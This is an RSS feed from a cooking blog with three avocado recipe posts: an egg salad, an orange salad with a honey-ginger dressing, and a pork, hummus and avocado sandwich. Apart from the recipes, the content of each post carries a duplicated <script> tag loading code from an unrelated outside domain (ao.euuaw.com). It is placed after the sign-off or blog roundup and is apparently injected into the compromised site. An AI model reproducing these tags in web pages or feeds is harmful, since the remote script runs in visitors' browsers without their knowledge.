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	<title>ZestyCook &#187; avocado</title>
	<atom:link href="http://zestycook.com/tag/avocado/feed/" rel="self" type="application/rss+xml" />
	<link>http://zestycook.com</link>
	<description>A fresh spin on life's tastes</description>
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		<title>Avocado to the Rescue!</title>
		<link>http://zestycook.com/avocado-to-the-rescue/</link>
		<comments>http://zestycook.com/avocado-to-the-rescue/#comments</comments>
		<pubDate>Wed, 05 May 2010 12:00:04 +0000</pubDate>
		<dc:creator>ZestyCook</dc:creator>
				<category><![CDATA[Salads]]></category>
		<category><![CDATA[almonds]]></category>
		<category><![CDATA[avocado]]></category>
		<category><![CDATA[balsamic]]></category>
		<category><![CDATA[blackberries]]></category>
		<category><![CDATA[egg]]></category>
		<category><![CDATA[salad]]></category>

		<guid isPermaLink="false">http://zestycook.com/?p=4388</guid>
		<description><![CDATA[
			
				
			
		
I dropped the ball on Monday and forgot to schedule my post for 8 am as always so it sat in draft mode until I realized around 2:00 that it was not live.  Oh dear &#8211; what a doofus.  So with that being said your Google readers did not get updated with the Juicer Recipes [...]<p>Download ZestyCook.com's Recipe E-book Free for Subscribers only:  <a onClick='javascript:urchinTracker("/goal/feed/ebookdownload/")' href="http://zestycook.com/downloads/ebook/simply_zesty_ebook.pdf">Simply Zesty</a><br/><br/><a href="http://zestycook.com/avocado-to-the-rescue/">Avocado to the Rescue!</a></p>



Related posts:<ol><li><a href='http://zestycook.com/a-whole-lotta-avocado-and-orange-salad/' rel='bookmark' title='Permanent Link: A Whole Lotta Avocado and Orange Salad!'>A Whole Lotta Avocado and Orange Salad!</a></li>
<li><a href='http://zestycook.com/a-little-salad-and-i-love-balsamic-vinegar/' rel='bookmark' title='Permanent Link: A Little Salad and I Love Balsamic Vinegar!'>A Little Salad and I Love Balsamic Vinegar!</a></li>
<li><a href='http://zestycook.com/top-7-ways-to-use-tomatoes/' rel='bookmark' title='Permanent Link: Top 7 Ways to Use Tomatoes'>Top 7 Ways to Use Tomatoes</a></li>
<li><a href='http://zestycook.com/labor-day-potato-salad/' rel='bookmark' title='Permanent Link: Labor Day Potato Salad'>Labor Day Potato Salad</a></li>
</ol>]]></description>
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<p>I dropped the ball on Monday and forgot to schedule my post for 8 am as always so it sat in draft mode until I realized around 2:00 that it was not live.  Oh dear &#8211; what a doofus.  So with that being said your Google readers did not get updated with the <a title="Juicer Recipes" href="http://zestycook.com/the-power-of-juice-juicer-recipes/" target="_self">Juicer Recipes</a> post until yesterday because I have my feed burner set to update at 12:00pm.  My bad and I am sorry.  However, on the positive side of things &#8211; it is looking like I am posting two days in a row.</p>
<p>Not the case but wait until you see this beauty!  A simple avocado and egg salad with a splash of <strong>balsamic vinaigrette</strong> &#8211; simply delicious.  The health kick is pushing forward day after day and I am actually loving it.  Now don&#8217;t get me wrong, I still eat a little treat here and there but very much in moderation.  Mrs. Zesty and I are teaming up and by doing it together it is quite fun and <strong>motivating</strong>.  Not that I was a terrible eater before i would sometimes over indulge in some unnecessary snacks at random times of the day.</p>
<p style="text-align: center;"><a href="http://zestycook.com/wp-content/uploads/2010/05/avocadoeggsalad.jpg"><img class="size-full wp-image-4391  aligncenter" title="avocadoeggsalad" src="http://zestycook.com/wp-content/uploads/2010/05/avocadoeggsalad.jpg" alt="" width="500" height="333" /></a></p>
<p>Without further a do &#8211; feast your eyes on this <strong>salad</strong>.  Totally random but lovely just the same.  Do you think it is weird that a guy uses the word &#8220;lovely&#8221; a lot?  Oh boy, i am getting off topic a lot today&#8230;. my apologies.</p>
<h3>Ingredients</h3>
<ul>
<li>Spring Greens</li>
<li>Avocado</li>
<li>Hard boiled egg</li>
<li>Sliced almonds</li>
<li>Blackberries</li>
<li>Grape tomatoes</li>
<li>Balsamic Vinegar</li>
</ul>
<h3>Method</h3>
<ol>
<li>Wash and prep greens, berries and tomatoes</li>
<li>Peel and chop hard boiled egg</li>
<li>Peel and chop the avocado</li>
<li>Add all ingredients together in a bowl</li>
<li>Toss and dress with a drizzle of balsamic.</li>
<li>ENJOY!</li>
</ol>
<p><em><strong>Zesty Tip:</strong> Peel your avocado just before you are ready to eat the salad and give it a little squirt with some fresh lemon juice to keep it from going brown so quickly.</em></p>
<p>A great salad for a lunch or even a light dinner.</p>
<p style="text-align: center;"><a href="http://zestycook.com/wp-content/uploads/2010/05/avocadoeggsalad1.jpg"><img class="size-full wp-image-4391  aligncenter" title="avocadoeggsalad" src="http://zestycook.com/wp-content/uploads/2010/05/avocadoeggsalad1.jpg" alt="" width="500" height="333" /></a></p>
<p>This <strong>salad </strong>is very versatile and of course you can add whatever you want.  Cold chicken would be a great alternative if you like that or you could even add some <strong>garbanzo beans</strong> for some extra flavor.</p>
<p>My whole take on salad is add what you like to eat and be simple with the <strong>dressing</strong>.  The one thing that I do not like about salad is when the dressing is too heavy and the greens become soggy and limp.  Keep it <strong>fresh </strong>and <strong>crunchy</strong>.  Have an amazing Wednesday and keep your chin up.</p>
<p>Take care</p>
<p>zesty<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
<p>Download ZestyCook.com's Recipe E-book Free for Subscribers only:  <a onClick='javascript:urchinTracker("/goal/feed/ebookdownload/")' href="http://zestycook.com/downloads/ebook/simply_zesty_ebook.pdf">Simply Zesty</a><br/><br/><a href="http://zestycook.com/avocado-to-the-rescue/">Avocado to the Rescue!</a></p>
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<p>Related posts:<ol><li><a href='http://zestycook.com/a-whole-lotta-avocado-and-orange-salad/' rel='bookmark' title='Permanent Link: A Whole Lotta Avocado and Orange Salad!'>A Whole Lotta Avocado and Orange Salad!</a></li>
<li><a href='http://zestycook.com/a-little-salad-and-i-love-balsamic-vinegar/' rel='bookmark' title='Permanent Link: A Little Salad and I Love Balsamic Vinegar!'>A Little Salad and I Love Balsamic Vinegar!</a></li>
<li><a href='http://zestycook.com/top-7-ways-to-use-tomatoes/' rel='bookmark' title='Permanent Link: Top 7 Ways to Use Tomatoes'>Top 7 Ways to Use Tomatoes</a></li>
<li><a href='http://zestycook.com/labor-day-potato-salad/' rel='bookmark' title='Permanent Link: Labor Day Potato Salad'>Labor Day Potato Salad</a></li>
</ol></p>]]></content:encoded>
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		</item>
		<item>
		<title>A Whole Lotta Avocado and Orange Salad!</title>
		<link>http://zestycook.com/a-whole-lotta-avocado-and-orange-salad/</link>
		<comments>http://zestycook.com/a-whole-lotta-avocado-and-orange-salad/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 11:00:06 +0000</pubDate>
		<dc:creator>ZestyCook</dc:creator>
				<category><![CDATA[Salads]]></category>
		<category><![CDATA[avocado]]></category>
		<category><![CDATA[ginger]]></category>
		<category><![CDATA[honey]]></category>
		<category><![CDATA[oranges]]></category>
		<category><![CDATA[salad]]></category>

		<guid isPermaLink="false">http://zestycook.com/?p=3809</guid>
		<description><![CDATA[
			
				
			
		
Good day to you!  I am back with another exciting post to keep you on your toes and wanting to almost lick the screen with excitement.  Well that might be slightly over the edge but I was trying to be somewhat funny.  I know&#8230; I know I am not that great at being funny &#8211; [...]<p>Download ZestyCook.com's Recipe E-book Free for Subscribers only:  <a onClick='javascript:urchinTracker("/goal/feed/ebookdownload/")' href="http://zestycook.com/downloads/ebook/simply_zesty_ebook.pdf">Simply Zesty</a><br/><br/><a href="http://zestycook.com/a-whole-lotta-avocado-and-orange-salad/">A Whole Lotta Avocado and Orange Salad!</a></p>



Related posts:<ol><li><a href='http://zestycook.com/stunning-salmon-with-an-orange-glaze/' rel='bookmark' title='Permanent Link: Stunning Salmon with an Orange Glaze'>Stunning Salmon with an Orange Glaze</a></li>
<li><a href='http://zestycook.com/butternut-squash-orange-spice-cake/' rel='bookmark' title='Permanent Link: Butternut Squash Orange Spice Cake'>Butternut Squash Orange Spice Cake</a></li>
<li><a href='http://zestycook.com/shrimp-salad-in-wonton-bowls/' rel='bookmark' title='Permanent Link: Shrimp Salad in Wonton Bowls'>Shrimp Salad in Wonton Bowls</a></li>
<li><a href='http://zestycook.com/honey-of-a-salad-and-house-update/' rel='bookmark' title='Permanent Link: Honey of a Salad and House Update'>Honey of a Salad and House Update</a></li>
</ol>]]></description>
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<p>Good day to you!  I am back with another exciting post to keep you on your toes and wanting to almost lick the screen with <strong>excitement</strong>.  Well that might be slightly over the edge but I was trying to be somewhat funny.  I know&#8230; I know I am not that great at being funny &#8211; well at least portraying myself as funny over the internet.  In real life I am hilarious &#8211; ask anyone if you don&#8217;t believe me!</p>
<p>Ok enough of me being a dork and onto a serious note.  I have a <strong>kick bum salad</strong> to share with you today.  It was part of the superb <strong>Bistro night at the NYE Gala</strong>.  When you read the ingredients you will be saying to yourself&#8230; wow these ingredients are very simple and you are right.  Simple and easy wins the race.  I am telling you &#8211; great food made simple is definitely the way to go.  I have had a hard time grasping that in the early part of my life when I always thought great food had to be fancy, but it really doesn&#8217;t have to be that way.</p>
<p style="text-align: center;"><img class="size-full wp-image-3812  aligncenter" title="avocado_orange_salad" src="http://zestycook.com/wp-content/uploads/2010/01/avocado_orange_salad.jpg" alt="avocado_orange_salad" width="500" height="333" /></p>
<p>Just take a look below and see the <strong>specs </strong>to make this beauty.</p>
<h3>Ingredients</h3>
<ul>
<li>Mixed greens for 8 people, store mix or make own as desired.</li>
<li>3 Large oranges</li>
<li>2 Avocados</li>
<li>1 Tsp. Dijon mustard</li>
<li>1/2 Tsp. salt</li>
<li>1/2 Tsp ground black pepper</li>
<li>2 Tsp. honey</li>
<li>2 Medium shallots, minced</li>
<li>1 Tbsp. olive oil</li>
<li>1 Tbsp. chopped fresh mint</li>
<li>1 Tbsp. chopped fresh cilantro</li>
</ul>
<h3>Method</h3>
<ol>
<li>Segment the oranges and collect juice from the procedure, set aside segments and the juice.</li>
<li>Should have about 3/4 cup of juice and add to this with another orange if needed.</li>
<li>Combine 1/2 cup of the orange juice with ginger, and mustard. Salt and pepper to taste.</li>
<li>In a second bowl mix 1/2 the shallots with the remaining orange juice and whisk in the olive oil, season with salt and pepper.</li>
<li>When ready to serve, open and dice the avocados and mix with honey ginger dressing, add the remaining shallots, cilantro and mint.</li>
<li>Add this mixture to the greens and gently mix.</li>
<li>Top with remaining dressing at the table if needed.</li>
<li>ENJOY!</li>
</ol>
<p style="text-align: center;"><img class="size-full wp-image-3813  aligncenter" title="avocado_orange_salad1" src="http://zestycook.com/wp-content/uploads/2010/01/avocado_orange_salad1.jpg" alt="avocado_orange_salad1" width="500" height="371" /></p>
<p><em><strong>Zesty Tip:</strong> Did you know, Avocados contribute nearly 20 vitamins, minerals and beneficial plant compounds that add to the nutrient quality of your diet.</em></p>
<h3>Around the Blogsphere</h3>
<ul>
<li>So I finally had some time yesterday to check out <a title="Blog Stalker" href="http://www.theblogstalker.com" target="_blank">the blogstalker</a> again.  Nate was missing in action for a while but I did miss a few oh his hilarious posts.  Nate is a fantastic writer and will definitely make you laugh as he talks about food blogs all over the net.  He has mentioned zesty a couple of times and seems to enjoy my <strong>hair style</strong>.  If you have not yet checked him out&#8230; you must today over at <a title="Blog Stalker" href="http://www.theblogstalker.com/" target="_blank">the blogstalker</a>.</li>
<li>I am pretty excited to do a guest post this coming Sunday at <a title="Picky Palate" href="http://picky-palate.com/" target="_blank">Picky Palate</a>.  In the same breath, I am kind of nervous and wondering what I should feature as the post.  I am sure I will come up with something.</li>
<li>I have completed the Campbell&#8217;s Video Shoot for <a title="Good bite" href="http://goodbite.com" target="_blank">GoodBite.com</a>.  I am reathrilled about the outcome.  It launched on January 26th so I will be sure to keep you posted and get you ready for the big splash in a couple of weeks.</li>
<li><strong>OPEN SKY Discount NEWS</strong>&#8230;.. Open Sky launched a new look yesterday and it is looking super hot.  You can check out my <a title="Open Sky" href="http://zestycook.theopenskyproject.com/" target="_blank">new store front</a> and in addition to the sexy new look you can enter a coupon code &#8220;<strong>REDESIGN</strong>&#8221; and receive a 10% Coupon.  This discount will run until the end of January so spread the word and buy whatever you see fit.  If you are looking for certain products and do not see them in my store &#8211; let me know and I will work on getting them in my store and trying them out.</li>
</ul>
<p><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
<p>Download ZestyCook.com's Recipe E-book Free for Subscribers only:  <a onClick='javascript:urchinTracker("/goal/feed/ebookdownload/")' href="http://zestycook.com/downloads/ebook/simply_zesty_ebook.pdf">Simply Zesty</a><br/><br/><a href="http://zestycook.com/a-whole-lotta-avocado-and-orange-salad/">A Whole Lotta Avocado and Orange Salad!</a></p>
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<p>Related posts:<ol><li><a href='http://zestycook.com/stunning-salmon-with-an-orange-glaze/' rel='bookmark' title='Permanent Link: Stunning Salmon with an Orange Glaze'>Stunning Salmon with an Orange Glaze</a></li>
<li><a href='http://zestycook.com/butternut-squash-orange-spice-cake/' rel='bookmark' title='Permanent Link: Butternut Squash Orange Spice Cake'>Butternut Squash Orange Spice Cake</a></li>
<li><a href='http://zestycook.com/shrimp-salad-in-wonton-bowls/' rel='bookmark' title='Permanent Link: Shrimp Salad in Wonton Bowls'>Shrimp Salad in Wonton Bowls</a></li>
<li><a href='http://zestycook.com/honey-of-a-salad-and-house-update/' rel='bookmark' title='Permanent Link: Honey of a Salad and House Update'>Honey of a Salad and House Update</a></li>
</ol></p>]]></content:encoded>
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		<title>Seven Minute Pork Sandwich</title>
		<link>http://zestycook.com/seven-minute-sandwich/</link>
		<comments>http://zestycook.com/seven-minute-sandwich/#comments</comments>
		<pubDate>Tue, 25 Nov 2008 11:00:02 +0000</pubDate>
		<dc:creator>ZestyCook</dc:creator>
				<category><![CDATA[Entrees]]></category>
		<category><![CDATA[avocado]]></category>
		<category><![CDATA[hummus]]></category>
		<category><![CDATA[pork]]></category>
		<category><![CDATA[sandwich]]></category>

		<guid isPermaLink="false">http://zestycook.com/?p=1202</guid>
		<description><![CDATA[
			
				
			
		
Happy Tuesday!  I know this post is just a sandwich but it&#8217;s an interesting and tasty sandwich that I threw together over the weekend.  Pork chops were on sale at the super market so I decided to pick them up.  I was craving avocado and hummus as well.  That is when I clued in &#8211; [...]<p>Download ZestyCook.com's Recipe E-book Free for Subscribers only:  <a onClick='javascript:urchinTracker("/goal/feed/ebookdownload/")' href="http://zestycook.com/downloads/ebook/simply_zesty_ebook.pdf">Simply Zesty</a><br/><br/><a href="http://zestycook.com/seven-minute-sandwich/">Seven Minute Pork Sandwich</a></p>



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<li><a href='http://zestycook.com/super-easy-stuffed-grilled-pork-loin/' rel='bookmark' title='Permanent Link: Super Easy Stuffed Grilled Pork Loin'>Super Easy Stuffed Grilled Pork Loin</a></li>
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<p>Happy Tuesday!  I know this post is just a <strong>sandwich </strong>but it&#8217;s an interesting <em>and</em> tasty sandwich that I threw together over the weekend.  Pork chops were on sale at the super market so I decided to pick them up.  I was craving <strong>avocado </strong>and <strong>hummus </strong>as well.  That is when I clued in &#8211; lets create a new sandwich!  I simply pan fried the pork chops with a little olive oil and salt and pepper. Let them cook through but allowed them to remain <strong>juicy</strong>. After that just add your hummus and sliced avocado and it is complete.</p>
<p style="text-align: center;"><a href="http://zestycook.com/wp-content/uploads/2008/11/pork_sandwich_hummus.jpg"><img class="size-full wp-image-1207 aligncenter" title="pork_sandwich_hummus" src="http://zestycook.com/wp-content/uploads/2008/11/pork_sandwich_hummus.jpg" alt="" width="500" height="375" /></a></p>
<p>This is super simple with a nice <strong>balance </strong>of flavors and <strong>texture</strong>.</p>
<p><span id="more-1202"></span></p>
<h3>Ingredients</h3>
<ul>
<li>Sliced Pork Chop (cut on the bias)</li>
<li>Sliced Avocado (drizzled with lemon)</li>
<li>Hummus</li>
<li>Bread or Rolls (Toasted)</li>
</ul>
<h3>Method</h3>
<ol>
<li>Cook the pork chops (to your liking).</li>
<li>Preheat oven or toaster oven.</li>
<li>Place rolls or bread inside and toast.</li>
<li>Slice avocado and top with lemon juice.</li>
<li>Once bread is toasted, add liberal amount of hummus.</li>
<li>Top with sliced cooked pork.</li>
<li>Add Avocado on top.</li>
<li>Close the sandwich.</li>
<li>ENJOY!</li>
</ol>
<p><em><strong>Zesty Tip:</strong> If you have left over bread that is a few days old.  The best way to make it stretch is to toast it.  It will still test fresh when toasted.  Another option is to cube up the old bread, toast it in the oven and add it in the food processor for homemade bread crumbs.</em></p>
<p>I would love to know what you think about this sandwich combination.  For my <strong>vegan readers </strong>out there&#8230;. omit the pork and add a roasted <strong>portabella </strong>mushroom.</p>
<p>Hope you have a great Tuesday and I look forward to hearing from you.</p>
<p>Take care</p>
<p>zesty<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
<p>Download ZestyCook.com's Recipe E-book Free for Subscribers only:  <a onClick='javascript:urchinTracker("/goal/feed/ebookdownload/")' href="http://zestycook.com/downloads/ebook/simply_zesty_ebook.pdf">Simply Zesty</a><br/><br/><a href="http://zestycook.com/seven-minute-sandwich/">Seven Minute Pork Sandwich</a></p>
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<p>Related posts:<ol><li><a href='http://zestycook.com/grilled-sour-dough-turkey-sandwich/' rel='bookmark' title='Permanent Link: Grilled Sour Dough Turkey Sandwich'>Grilled Sour Dough Turkey Sandwich</a></li>
<li><a href='http://zestycook.com/super-easy-stuffed-grilled-pork-loin/' rel='bookmark' title='Permanent Link: Super Easy Stuffed Grilled Pork Loin'>Super Easy Stuffed Grilled Pork Loin</a></li>
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